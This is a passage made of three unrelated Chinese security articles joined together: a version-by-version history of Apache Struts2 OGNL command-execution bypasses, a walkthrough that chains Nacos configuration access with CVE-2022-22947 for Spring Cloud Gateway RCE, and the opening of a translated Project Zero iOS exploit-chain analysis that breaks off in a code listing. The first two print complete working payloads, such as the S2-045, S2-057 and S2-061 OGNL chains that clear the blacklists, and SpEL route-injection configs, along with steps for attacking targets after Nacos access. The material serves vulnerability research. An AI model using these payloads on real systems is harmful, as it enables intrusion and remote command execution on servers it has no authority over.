计算进行扩展，是进行数据访问、 ognl 计算的场所，在 xwork 中实现了 ValueStack 的类就是 OgnlValueStack 。
以上这些概念可能对理解 struts2 框架有所帮助。那么回到主题 struts2 中 ognl 所产生的命令执行的漏洞，就不得不提一些必要的概念。
### 二、 struts2 框架 OGNL 语法
struts2 中使用 Ognl
作为数据流转的“催化剂”。要知道在视图展现中，我们看到的都是字符串，而我们进行逻辑处理时的数据是丰富的，可能是某个类对象，那么如果我们想在页面中展示对象数据就需要一个转换器，这个转换器就是常说的表达式引擎，他负责将对象翻译成字符串，当然这个关系不是单向的，他也可以通过规则化的字符串翻译为对对象的操作。struts2
使用了 ognl 作为他的翻译官，ognl 不仅仅应用于页面字符串与对象数据转换，在 struts2 中各个模块进行数据处理时也会用到。
进行 ognl 表达式计算最主要的元素包括：表达式、 root 对象、上下文环境（ context ）。其中表达式表达了这次 ognl 解析要干什么，
root 对象表示通常 ognl 操作的对象，而上下文环境表示通常 ognl 运行的环境。而 root 对象和 context 上下文环境都是
OgnlValueStack 的属性值。如下图所示：
而其中 root 对象是一个栈结构，每一次请求都会将请求的 action 压入 root 栈顶，所以我们在 url 中可以输入 action
中的属性进行赋值，在参数拦截器中会从 root 栈中从栈顶到栈底依次找同名的属性名进行赋值。
context 对象是一个 map 结构，其中 key 为对象的引用，value 为对象具体的存储信息。（这其中还存储了 OgnlValueStack
的引用）
可以来看看 ognl 怎么对 OgnlValueStack 中的对象进行操作。
* 对 root 对象的访问： name // 获取 root 对象中 name 属性的值 department.name // 获取 root 对象中 department 属性的 name 属性的值 department['name'] 、 department["name"]
* 对 context 上下文环境的访问： #introduction // 获取上下文环境中名为 introduction 对象的值 #parameters.user // 获取上下文环境中 parameters 对象中的 user 属性的值 #parameters['user'] 、 #parameters["user"]
* 对静态变量 / 方法的访问：@[class]@[field/method] @com.example.core.Resource@ENABLE // 访问 com.example.core.Resource 类中 ENABLE 属性 @com.example.core.Resource@get() // 调用 com.example.core.Resource 类中 get 方法
* 方法调用：类似 java 方法调用 group.containsUser(#requestUser) // 调用 root 对象中 group 中的 containsUser 方法，并传入 context 中名为 requestUser 的对象作为参数
### 三、struts2 中 ognl 命令执行漏洞产生的位置
有了前面的基础知识，可以逐渐步入正题。简要总结了 struts2 中 ognl 命令执行漏洞在框架中产生的位置及其原因。
图中的赋值内容就是我们之后的 PoC 内容，进而解析执行触发。
### 四、struts2 版本变化对应 PoC 的变化
“修补”旅途的开始， struts2 中对 ognl 表达式执行也进行了一定的防护。具体体现在 MemberAccess 接口中规定了 ognl 的对象方法
/ 属性访问策略。实现 MemberAccess 接口的有两类：一个是在 ognl 中实现的 DefaultMemberAccess ，默认禁止访问
private 、protected 、package protected 修饰的属性方法。一个是 xwork 中对对象方法访问策略进行了扩展的
SecurityMemberAccess ，指定是否支持访问静态方法，默认设置为 false 。
public class SecurityMemberAccess extends DefaultMemberAccess {
private boolean allowStaticMethodAccess;
Set<Pattern> excludeProperties = Collections.emptySet();
Set<Pattern> acceptProperties = Collections.emptySet();
public SecurityMemberAccess(boolean method) {
super(false);
this.allowStaticMethodAccess = method;
}
…
而在 SecurityMemberAccess 中同时也提供了 setAllowStaticMethodAccess
、getAllowStaticMethodAccess 方法，且修饰符为 public 。所以绕过这一版本的防护的 PoC ：
(#_memberAccess['allowStaticMethodAccess']=true).(@java.lang.Runtime@getRuntime().exec('calc'))
首先通过 #_memberAccess 获取 SecurityMemberAccess 实例，通过 setAllowStaticMethodAccess
方法设置其值为 true ，允许执行静态方法。
接着在 Struts2.3.14.2+ 中，SecurityMemberAccess 对 allowStaticMethodAccess 加了 final
修饰并将 setAllowStaticMethodAccess 方法去除了。
这里绕过就有两种方法：【 PoC 参考：S2-012、S2-015、S2-016（影响的版本：Struts 2.0.0 - Struts 2.3.15）】
* 通过反射将 allowStaticMethodAccess 的值改变
#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess")
#f.setAccessible(true)
#f.set(#_memberAccess,true)
* 新建一个 ProcessBuilder 实例，调用 start 方法来执行命令
(#p=new java.lang.ProcessBuilder('calc')).(#p.start())
接着在 Struts2.3.20+ 中，SecurityMemberAccess 中增加了 excludedClasses ，
excludedPackageNames 以及 excludedPackageNamePatterns 三个黑名单属性。这三个属性在
SecurityMemberAccess#isAccessible 方法中遍历判断了当前操作类是否在黑名单类中，而在 ognl 表达式执行时
OgnlRuntime 类中
callConstructor、getMethodValue、setMethodValue、getFieldValue、isFieldAccessible、isMethodAccessible、invokeMethod
调用了此方法。也即是在 ognl 表达式在执行以上操作时判断了当前操作类是否在黑名单中。
黑名单属性在 struts-default.xml 中定义：
Struts2.3.28 struts-default.xml ：
<constant name="struts.excludedClasses"
value="
java.lang.Object,
java.lang.Runtime,
java.lang.System,
java.lang.Class,
java.lang.ClassLoader,
java.lang.Shutdown,
java.lang.ProcessBuilder,
ognl.OgnlContext,
ognl.ClassResolver,
ognl.TypeConverter,
com.opensymphony.xwork2.ognl.SecurityMemberAccess,
com.opensymphony.xwork2.ActionContext" />
<constant name="struts.excludedPackageNames" value="java.lang.,ognl,javax" />
绕过：【 PoC 参考：S2-032（影响版本：struts2.3.20 - struts2.3.28 (除去 2.3.20.3 及 2.3.24.3)）】
通过 DefaultMemberAccess 替换 SecurityMemberAccess 来完成：
#[email protected]@DEFAULT_MEMBER_ACCESS
这样 ognl 计算时的规则就替换成了 DefaultMemberAccess 中的规则，也就没有了黑名单的限制以及静态方法的限制。这里获取类的静态属性通过
ognl.OgnlRuntime#getStaticField 获得，而该方法中没有调用 isAccessible 方法，故通过
@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS 可以获取到 DefaultMemberAccess
对象，赋值给上下文环境中的 _memberAccess ，绕过黑名单限制。
接着在 Struts2.3.30+ 及 struts2.5.2+ 中，增加了 SecurityMemberAccess 中的黑名单，将
ognl.DefaultMemberAccess 以及 ognl.MemberAccess 加入了黑名单；同时在 Struts2.3.30 使用
ognl-3.0.19.jar 包 、struts2.5.2 使用 ognl-3.1.10.jar 包中的 OgnlContext 不再支持使用
#_memberAccess 获得 MemberAccess 实例。
struts2.5.10 ：
<constant name="struts.excludedClasses"
value="
java.lang.Object,
java.lang.Runtime,
java.lang.System,
java.lang.Class,
java.lang.ClassLoader,
java.lang.Shutdown,
java.lang.ProcessBuilder,
ognl.OgnlContext,
ognl.ClassResolver,
ognl.TypeConverter,
ognl.MemberAccess,
ognl.DefaultMemberAccess,
com.opensymphony.xwork2.ognl.SecurityMemberAccess,
com.opensymphony.xwork2.ActionContext" />
<constant name="struts.excludedPackageNames" value="java.lang.,ognl,javax,freemarker.core,freemarker.template" />
绕过：【 PoC 参考 S2-045 ，影响版本 Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts
2.5.10 】
通过 ognl.OgnlContext#setMemberAccess 方法将 DefaultMemberAccess 设为 ognl 表达式计算的规则。
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#context.setMemberAccess(#dm))
这样无需通过 #_memberAccess 的形式获取实例，而是直接改变 OgnlContext 中的 _memberAccess 属性。但是调用
setMemberAccess 方法会触发检查黑名单，ognl.OgnlContext 俨然在黑名单中，那怎么绕过黑名单呢？
通过 OgnlUtil 改变 SecurityMemberAccess 黑名单属性值：
(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).
(#ognlUtil= #container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear())
从上图中可以看出在 StrutsPrepareAndExecuteFilter#doFilter 初始化 OgnlValueStack 中
SecurityMemberAccess 的黑名单集合时是通过 ognlUtil 中的黑名单集合进行赋值的，他们共享同一个黑名单地址，那么是不是将
OgnlUtil 中的黑名单清空 SecurityMemberAccess 中的黑名单也清空了。
故在 PoC 中首先通过容器获取 OgnlUtil 实例， OgnlUtil 是单例模式实现的对象，所以获取到的实例是唯一的，接着调用 get
方法获取黑名单集合，clear 方法清空。
我们可以一起看一下 S2-045 完整的 PoC ：
%{
(#_='multipart/form-data').
(#[email protected]@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):(
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm))
)).
(#cmd='whoami').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())
}
最开始的 #_='multipart/form-data' 是为了满足触发漏洞的要求，接下来就是将 DefaultMemberAccess 存入
OgnlContext 上下文环境中，接着一个三目运算符主要为了适配低版本中可以直接取到 _memberAccess
对象，取不到就按前面绕过的形式将黑名单清空并将 DefaultMemberAccess 设为默认安全策略。接下来就是执行命令并输出了。
接着在 Struts2.5.13+ 中，excludedClasses 等黑名单集合设为不可变集合（从 struts 2.5.12 开始就不再可变）通过前面
PoC 中的 clear 函数来清除数据会抛出异常：java.lang.UnsupportedOperationException at
java.util.Collections$UnmodifiableCollection.clear 。同时 struts 2.5.13 使用的
ognl-3.1.15.jar 包中 OgnlContext 不再支持使用 #context 获取上下文环境。
com.opensymphony.xwork2.ognl.OgnlUtil#setExcludedClasses :
public void setExcludedClasses(String commaDelimitedClasses) {
Set<String> classNames = TextParseUtil.commaDelimitedStringToSet(commaDelimitedClasses);
Set<Class<?>> classes = new HashSet();
Iterator i$ = classNames.iterator();
while(i$.hasNext()) {
String className = (String)i$.next();
try {
classes.add(Class.forName(className));
} catch (ClassNotFoundException var7) {
throw new ConfigurationException("Cannot load excluded class: " + className, var7);
}
}
this.excludedClasses = Collections.unmodifiableSet(classes);
}
绕过：【 PoC 参考 S2-057 ，影响版本 Struts 2.0.4 - Struts 2.3.34, Struts 2.5.0 - Struts
2.5.16 】
通过 setExcludedXXX('') 方法实现：
(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))
但是，实操发现这样发送请求后面的命令还是不能执行，跟进 setExcludedXXX('') 中的
Collections.unmodifiableSet(classes) 会发现其实是返回了一个新的空集合，并不是之前那个 _memberAccess 和
ognlUtil 共同引用的那个黑名单地址的集合，怎么办呐，很简单再发一次请求就可以了。为什么呢？因为提到过 OgnlUtil
是单例模式实现的，应用从始至终都用的同一个 OgnlUtil ，而 _memberAccess 的作用域是在一次请求范围内的，与此同时 OgnlUtil
中的黑名单集合已经置为空了，那么重新发一次请求，_memberAccess 重新初始化，通过 OgnlUtil 中为空的黑名单进行赋值。
还有一个需要绕过的地方：通过上下文环境中其他属性（比如这里的 attr ）来获得 context 。
#attr['struts.valueStack'].context
完整看一下 S2-057 的 PoC ：
两个数据包：
1、
/${(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}/login.action
2、
/${(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc'))}/login
接着在 Struts2.5.20 中，使用的 ognl-3.1.21.jar 包 ognl.OgnlRuntime#getStaticField 中调用了
isAccessible 方法，同时 OgnlUtil 中 set 黑名单集合等修饰符由 public 变成了 protected 。在
Struts2.5.22+ 中，ognl.OgnlRuntime#invokeMethod
方法调用时屏蔽了常用的类，也即是就算将黑名单绕过去了方法调用时仍会判断是否是这些常用的类。同时 struts-default.xml
中定义的黑名单再次增加。
Struts2.5.25 struts-default.xml ：
<constant name="struts.excludedClasses"
value="
java.lang.Object,
java.lang.Runtime,
java.lang.System,
java.lang.Class,
java.lang.ClassLoader,
java.lang.Shutdown,
java.lang.ProcessBuilder,
sun.misc.Unsafe,
com.opensymphony.xwork2.ActionContext" />
<constant name="struts.excludedPackageNames"
value="
ognl.,
java.io.,
java.net.,
java.nio.,
javax.,
freemarker.core.,
freemarker.template.,
freemarker.ext.jsp.,
freemarker.ext.rhino.,
sun.misc.,
sun.reflect.,
javassist.,
org.apache.velocity.,
org.objectweb.asm.,
org.springframework.context.,
com.opensymphony.xwork2.inject.,
com.opensymphony.xwork2.ognl.,
com.opensymphony.xwork2.security.,
com.opensymphony.xwork2.util." />
相当于前面绕过方式都不能用了，比如使用 @ognl.OgnlContext@DEFAULT_MEMBER_ACCESS 获得
DefaultMemberAccess 实例；使用 #attr['struts.valueStack'].context
获得上下文环境；通过容器创建实例等。
绕过：【 PoC 参考 S2-061 ，影响版本 Struts 2.0.0 - Struts 2.5.25 】
引用新的类来实现：
* org.apache.tomcat.InstanceManager ： 使用其默认实现类 DefaultInstanceManager 的 newInstance 方法来创建实例
* org.apache.commons.collections.BeanMap ： 通过 BeanMap#setBean 方法可以将类实例存入 BeanMap 中，存入同时进行初始化将其 set、get 方法存入当前的 writeMethod 、 readMethod 集合中； 通过 BeanMap#get 方法可以在当前 bean 的 readMethod 集合中找到对应 get 方法，再反射调用该方法返回一个对象； 通过 BeanMap#put 方法可以在当前 bean 的 writeMethod 集合中找到对应 set 方法，再反射调用该方法。
完整看一下 S2-061 的 PoC ：
%25{(#im=#application['org.apache.tomcat.InstanceManager']).
(#bm=#im.newInstance('org.apache.commons.collections.BeanMap')).
(#vs=#request['struts.valueStack']).
(#bm.setBean(#vs)).(#context=#bm.get('context')).
(#bm.setBean(#context)).(#access=#bm.get('memberAccess')).
(#bm.setBean(#access)).
(#empty=#im.newInstance('java.util.HashSet')).
(#bm.put('excludedClasses',#empty)).(#bm.put('excludedPackageNames',#empty)).
(#cmdout=#im.newInstance('freemarker.template.utility.Execute').exec({'whoami'}))}
首先从 application 中获得 DefaultInstanceManager 实例，调用 newInstance 方法获得 BeanMap
实例。接着先将 OgnlValueStack 存入 BeanMap 中，通过 get 方法可以获得 OgnlContext 实例，获得
OgnlContext 实例就可以通过其获得 MemberAccess 实例，接着可以通过 put 方法调用 set
方法，将其黑名单置空，黑名单置空后就可以创建一个黑名单中的类实例来执行命令了。
最新版本：Struts2.5.26 中再一次增加了黑名单：
<constant name="struts.excludedClasses"
value="
java.lang.Object,
java.lang.Runtime,
java.lang.System,
java.lang.Class,
java.lang.ClassLoader,
java.lang.Shutdown,
java.lang.ProcessBuilder,
sun.misc.Unsafe,
com.opensymphony.xwork2.ActionContext" />
<constant name="struts.excludedPackageNames"
value="
ognl., java.io., java.net., java.nio., javax.,
freemarker.core., freemarker.template., freemarker.ext.jsp.,
freemarker.ext.rhino.,
sun.misc., sun.reflect., javassist.,
org.apache.velocity., org.objectweb.asm.,
org.springframework.context.,
com.opensymphony.xwork2.inject.,
com.opensymphony.xwork2.ognl.,
com.opensymphony.xwork2.security.,
com.opensymphony.xwork2.util.,
org.apache.tomcat., org.apache.catalina.core.,
com.ibm.websphere., org.apache.geronimo.,
org.apache.openejb., org.apache.tomee.,
org.eclipse.jetty., org.mortbay.jetty.,
org.glassfish., org.jboss.as., org.wildfly., weblogic.," />
把中间件的包都给屏蔽了 orz …
### 五、结语
这篇文章主要根据 struts2 版本更新将其命令执行系列漏洞顺了一遍。struts2 框架在执行命令时主要防护机制是
SecurityMemberAccess 中的策略，以及对应使用的 ognl jar 包中的一些变化，分析时可以重点关注这两地方。另外到了
struts2.5.26 版本感觉官方将该补的都补了，但还是期待新 PoC 的出现。
### 六、参考链接
[1] 《Struts2 技术内幕——深入解析Struts2架构设计与实现原理》
[2] <https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/>
[3] <https://cwiki.apache.org/confluence/display/WW/Security+Bulletins>
[4] <https://github.com/vulhub/vulhub/tree/master/struts2>
[5] <https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g>
* * * | 社区文章 |
# Nacos结合 **Spring Cloud Gateway RCE利用**
Spring Cloud
Gateway曾出现CVE-2022-22947漏洞，该漏洞允许攻击者通过动态配置路由，执行SpEL表达式注入漏洞，当攻击者可以访问Actuator
API的情况下，将可以利用该漏洞执行任意命令。但实际情况可能有很多Spring Cloud Gateway存在漏洞，但未开放Actuator
API，所以导致无法利用。但如果在资产收集时发现目标存在nacos，并且可用弱口令或者未授权漏洞创建用户登录进去的话，我们可以采用Nacos的动态配置特性结合Spring
Cloud Gateway的RCE漏洞进行利用，本文将具体解析这些中间件应用的原理及其配置，再到漏洞利用方式，旨在除了结合Spring Cloud
Gateway漏洞利用以外，能发掘更多这种动态配置结合漏洞利用的方式，从而可能会使得某些需要修改配置文件的漏洞重新有了新的利用方式
## 1\. 前置知识
### 1.1 什么是Spring Cloud Gateway
Spring Cloud
Gateway可以简单理解为一个具有丰富功能的微服务网关，它可以拦截客户端的请求，然后根据`predicates`（断言）来为该请求分配合适的后端应用，例如当用户请求`http://192.168.1.1:80/app`时，网关可以配置将其转发到APP应用服务器`http://192.168.2.2:8080/app`上，又或者使用`Filter`拦截器，为请求增加某些内容或者为服务器响应增加某些内容，总之功能很强大，
有兴趣可以去找文档研究一下。
### 1.2 什么是nacos
Nacos可以理解为一个统一管理的配置注册中心，配置了nacos后，项目中的配置文件便可以通过Nacos来动态修改。应用通过注册到Nacos中，然后绑定组和dataID的形式，来绑定Nacos上创建的动态配置文件，当Nacos上所绑定的配置文件发布了新版时，应用将从Nacos中自动同步新的配置，大大增加了灵活性
### 1.3 CVE-2022-22947漏洞回顾
该漏洞在网上公开POC的利用方式是通过`/actuator/gateway/routes`这个节点进行动态添加路由的，当项目配置文件中配置了以下两行配置时（YAML格式），便会开启该接口：
management.endpoint.gateway.enabled: true
management.endpoints.web.exposure.include: gateway
其中发送的添加路由的数据包中的数据段如下：
{
"id": "test",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}
我们可以先理解一下这段POC的含义，其中id字段代表的是路由的ID标识，而filters则是Spring Cloud
Gateway中路由配置的过滤器，这里指定了过滤器`AddResponseHeader`，含义为对匹配到的请求的响应包中添加一个自定义的Header，其中名称为
Result，值为该漏洞利用的SpEL表达式，执行了命令`id`，也就是说当一个请求匹配到该路由时，返回包中应该会存在一个Header返回了我们定义的键值，利用成功的话会得到：`result:
uid=0(root) gid=0（省略...）`
但POC中并未定义路由的匹配规则，因为开启actuator/gateway的话只需要刷新一下路由然后直接查看路由配置就可以得到命令执行的回显了。为了验证，我修改了一下POC，将其添加一条路由规则如下：
{
"id": "aaa",
"order": 0,
"predicates": [
{
"args": {
"_genkey_0": "/test/**"
},
"name": "Path"
}
],"filters": [
{
"name": "AddResponseHeader",
"args": {
"name":"result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream())).replaceAll(\"\n\",\"\").replaceAll(\"\r\",\"\")}"}
}],
"uri": "http://example.com"
}
发包添加成功：
这条路由的含义就是增加了`predicates`来匹配请求的访问路径，当请求访问的路径匹配到了`/test/**`时，则触发该路由，然后再看到filters，跟之前的POC是一样的，最后再注意到`uri`参数，它的作用是当路由匹配到`/test/**`时，将其转发到`http://example.com`上，但注意这是个公网地址，在真实环境利用时应考虑到如果服务器不出网则可能造成路由转发失败。所以当我们访问了
<http://localhost:8080/test/时，路由会帮我们转发到> <http://example.com/test/。>
接下来刷新一下路由，然后尝试访问一下/test路径看下效果：
成功在响应包的头部增加了result字段，且值为我们希望的命令执行的结果。但是注意如果你使用的是vulhub的那个环境，还需要改一下配置文件才可以这么利用，因为那个配置文件坑就坑在配置了一条默认的路由，只要收到的是Get请求一律转到example这个网站，而且优先级是最高的，所以创建的/test路由不起作用，可以把这条改掉就好了：
到这里，在Nacos中碰到Sping Cloud
Gateway的应用，并且没有开启Actuator的情况下，我们就有思路去利用了。但是利用过程中我仍然碰到了很多坑，接下来会从搭建环境开始
## 2\. 环境搭建
如果对于nacos+spring cloud环境比较熟悉了或者只想看利用过程，可以跳过这一节，这一节内容主要是加深对于nacos+spring
cloud微服务环境的理解。
环境搭建其实只需要搭建一个nacos和一个SpringCloudGateway就可以了，Nacos可以在Github直接下载Release版本：<https://github.com/alibaba/nacos/releases/tag/2.1.0>，解压后运行`shstartup.sh
-m standalone`，访问 localhost:8848/nacos 即可使用默认密码nacos/nacos登录。
然后需要创建一个SpringCloudGateway的项目，并引入Nacos依赖，连接到Nacos服务，我已经将整合好的存在漏洞的版本放到了我的Github：<https://github.com/B0rn2d/Spring-Cloud-Gateway-Nacos>，另外一个是Service-provider应用（后续会使用到，也可以不用下载，不影响复现）可以在nacos[官方示例](https://github.com/nacos-group/nacos-examples/tree/master/nacos-spring-cloud-example/nacos-spring-cloud-discovery-example/nacos-spring-cloud-provider-example)中下载使用，只用启动`nacos-spring-cloud-provider-example`这个就可以了。
以上项目均推荐使用jdk1.8运行，否则可能会报错。先运行存在漏洞的Gateway项目，在项目的配置文件bootstrap.yml中，配置了连接Nacos的关键项：
其中`spring.cloud.nacos.config`下，name代表的是要在nacos中创建的配置文件的DataID，file-extension则是nacos中所创建的配置文件的格式，group则代表nacos中配置文件对应的组，而server-addr则是nacos的访问地址，在nacos中创建对应的配置文件如下：
此时便成功与nacos整合了，如果运行正常，则spring-cloud-gateway项目会从nacos中动态的去获取这个配置文件，然后将内容进行即时的更新，运行项目后，可以在nacos中的监听查询功能检查是否正常连接：
要注意的是这个功能只能看到在监听Nacos配置的应用的IP地址，无法看到端口，这里我在虚拟机以及本机分别部署各一个gateway应用，可以看到它们的IP
另外，在上述配置文件中`spring.cloud.nacos.config`下的discovery配置项，目的是在于把gateway应用注册到Nacos的服务中，从而可以使用服务名的方式来访问配置到nacos的微服务
接下来，可以选择性再启动一下上面说的第二个应用service-provider应用，看到该应用的application文件如下：
server.port=8070
spring.application.name=service-provider
spring.cloud.nacos.discovery.server-addr=127.0.0.1:8848
它将会在 **8070** 端口开放服务，应用名为service-provider，并将服务同样通过第三条配置注册到nacos上，接下来在Nacos的服务管理功能中，可以看到了我们的Spring Cloud
Gateway应用以及提供服务的service-provider都已经成功注册：
接下来通过配置一条简单的路由，来测试运行效果，在刚才创建的配置文件中，点击修改配置如下：
spring:
cloud:
gateway:
routes:
- id: exam
order: 0
uri: lb://service-provider
predicates:
- Path=/echo/**
发布后，gateway应用会成功刷新配置，此时若访问/echo/**路径，则nacos会将请求转发到service-provider中，不再是通过写死的url来进行转发，uri中的lb协议指的就是通过寻找微服务的方式进行转发。
gateway应用开放的端口可以在application.yaml中修改，项目中设置的是8888端口，所以访问`http://127.0.0.1:8888/echo/123`，则相当于请求`http://127.0.0.1:8070/echo/123`，service-provider应用中开放了一个控制器如下：
所以成功访问到service-provider服务，返回的页面如下：
至此环境就配置通了。
## 3\. 利用方式
如果拿到了一个Nacos权限，如何进行有效的信息收集以及利用呢？以上面搭建的环境为例，我们搭建了一个Nacos，一个Spring Cloud
Gateway网关，以及一个微服务Service-provider，假如进入到nacos管理页面，翻阅配置时候发现有Spring Cloud
Gateway相关的配置，那么第一步可以先查看该配置项都有哪些服务器在监听？监听的服务器基本可以肯定就是运行了Spring Cloud
Gateway的服务器，可以在配置文件的更多中点击监听查询：
然后就可以看到监听该配置文件的服务器IP了：
但是看不到端口怎么办，除了可以通过扫描端口的方式来识别应用所在端口，或者这时候也可以去尝试一下查看服务管理中的服务，因为如前文所述，Spring Cloud
Gateway要实现通过服务名的方式来访问微服务应用，则需要先把自己注册到服务中：
我们可以看服务名来识别应用的类型，点击详情后也可以看到服务具体的IP以及端口，这里IP变成192.168.163.174是因为不知道为什么它绑定到了我电脑另外一个网卡了，正常来说应该还是127.0.0.1，也就是说在真实环境里面他是一个内网IP，是跟前面监听查询中得到的IP是同一个的，如果你是在虚拟机部署的，那么就会正常显示同一个内网IP。
如果应用注册到了服务中的话，那么通过服务详情里的IP，再对比上面监听查询中的IP，就可以定位到监听某个配置文件的应用的具体端口了。
上述的方法就是如何去找到一个配置文件对应的应用的IP及端口，在攻防中如果打进了内网，发现Nacos的时候，我们就可以用这个方法定位内网中的其他应用，接下来就是如果找到了Spring
Cloud Gateway应用以及它的Nacos配置文件，如何利用CVE-2022-22947来进行攻击。
还是回到之前的配置文件gateway，如果发现应用未开启Actuator，则结合前文所说的利用响应包增加Header的方式回显，将配置在Nacos中进行修改，改为以下内容：
spring:
cloud:
gateway:
routes:
- id: exam
order: 0
uri: lb://service-provider
predicates:
- Path=/echo/**
filters:
- name: AddResponseHeader
args:
name: result
value: "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'id'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
这里增加了一个filters字段，并写入POC，但这里需要注意的坑有两点：
1. 需要修改原POC，将字符串输入结果使用replace()将\n以及\r符号替换为空，否则会提示报错Header中不能包含该字符导致利用失败
2. 在YAML配置文件中，SpEL表达式必须要用双引号括起来，但POC原本就带有双引号，会导致识别冲突，所以将POC内所有的双引号改为单引号，外面在用双引号括起来
完成后对配置文件进行发布，然后尝试访问`http://127.0.0.1:8888/echo/123`，发现成功回显了命令执行的结果：
之前我配置的在虚拟机上跑的另外一个应用也监听了这个配置文件，但我没有配置它本身去nacos注册成为服务，可以看到一样可以利用成功，虽然返回了503（虽然因为自身没有注册服务所以访问不到service-provider服务）
最后有人可能会想到，为什么不在nacos上直接配置让他打开Actuator端点直接利用呢？因为打开之后应用是需要重启才能生效的，所以这个方法无法利用成功
## 4\. 总结
通过例如Nacos这种配置注册中心来动态修改配置的方法，可能会使得一些漏洞有了更多的利用途径，以后碰到Nacos可以更加具有针对性地进行信息收集了。
**本文原创作者：B0rn2d，未经允许禁止转载** | 社区文章 |
# 深入探索在野外发现的iOS漏洞利用链（五）
##### 译文声明
本文是翻译文章，文章原作者 googleprojectzero，文章来源：googleprojectzero.blogspot.com
原文地址：<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-5.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
这个漏洞链目前被三个不同的团队发现，分别是攻击者恶意组织、Project Zero的Brandon
Azad和360安全的[@S0rryMybad](https://github.com/S0rryMybad "@S0rryMybad")。
在2018年11月17日，[@S0rryMybad](https://github.com/S0rryMybad
"@S0rryMybad")利用此漏洞在天府杯PWN比赛中赢得20万美元的奖金。Brandon
Azad在2018年12月6日独立发现并向Apple报告了同样的漏洞。Apple在2019年1月22日修复了这一问题，并在iOS
12.1.4的发布说明（修复CVE-2019-6225漏洞）中对[@S0rryMyBad](https://github.com/S0rryMyBad
"@S0rryMyBad")和Brandon表示了感谢。该漏洞甚至被评为Blackhat 2019中的最佳特权提升漏洞。
但是，为什么已经拥有可用的iOS漏洞利用链#4（包含2019年2月向Apple报告的0-day漏洞）的攻击者会暂时舍弃这个利用链，转而使用一个全新的利用链呢？我们推测，可能是因为这个利用链更加可靠，只利用了一个漏洞，而没有使用漏洞的组合，同时还避免了iOS漏洞利用链#4中用于沙箱逃逸的基于线程的重新分配技术中固有的缺陷。
然而，更加重要的是这个漏洞的本质原因。2014年，Apple添加了一个名为“vouchers”的新功能的未完成实现，并且这个新代码的一部分涉及到了一个新的系统调用（从技术上看，是一个任务端口MIG方法），据我所知，这个位置从来没有被利用过。需要明确的是，如果有一次测试中使用过预期的参数调用了系统调用，那么就会引发内核错误（Kernel
Panic）。如果任何一位Apple开发人员在这四年内试图使用过这个功能，他们的手机会立即崩溃，他们也就随即会发现这一问题。
在这篇详细的文章中，我们将详细介绍攻击者如何利用该漏洞安装恶意植入工具，并监控设备上的用户活动。我的下一篇文章将分析植入工具本身，包括命令和控制以及其监控能力的演示。
## 在野外的iOS漏洞利用链#5 – task_swap_mach_voucher
目标：iPhone 5s – iPhone X，11.4.1版本到12.1.2版本。
第一个不受支持的版本：12.1.3 – 2019年1月22日
iPhone6,1 (5s, N51AP)
iPhone6,2 (5s, N53AP)
iPhone7,1 (6 plus, N56AP)
iPhone7,2 (6, N61AP)
iPhone8,1 (6s, N71AP)
iPhone8,2 (6s plus, N66AP)
iPhone8,4 (SE, N69AP)
iPhone9,1 (7, D10AP)
iPhone9,2 (7 plus, D11AP)
iPhone9,3 (7, D101AP)
iPhone9,4 (7 plus, D111AP)
iPhone10,1 (8, D20AP)
iPhone10,2 (8 plus, D21AP)
iPhone10,3 (X, D22AP)
iPhone10,4 (8, D201AP)
iPhone10,5 (8 plus, D211AP)
iPhone10,6 (X, D221AP)
15G77 (11.4.1 – 2018年7月9日)
16A366 (12.0 – 2018年9月17日)
16A404 (12.0.1 – 2018年10月8日)
16B92 (12.1 – 2018年10月30日)
16C50 (12.1.1 – 2018年12月5日)
16C10 (12.1.2 – 2018年12月17日)
## Vouchers功能
Vouchers是2014年在iOS 8中引入的一项功能。Vouchers的代码似乎已经写到操作系统中，但没有完全被实现，上述存在漏洞的代码如下：
/* Placeholders for the task set/get voucher interfaces */
kern_return_t
task_get_mach_voucher(
task_t task,
mach_voucher_selector_ __unused which,
ipc_voucher_t* voucher)
{
if (TASK_NULL == task)
return KERN_INVALID_TASK;
*voucher = NULL;
return KERN_SUCCESS;
}
kern_return_t
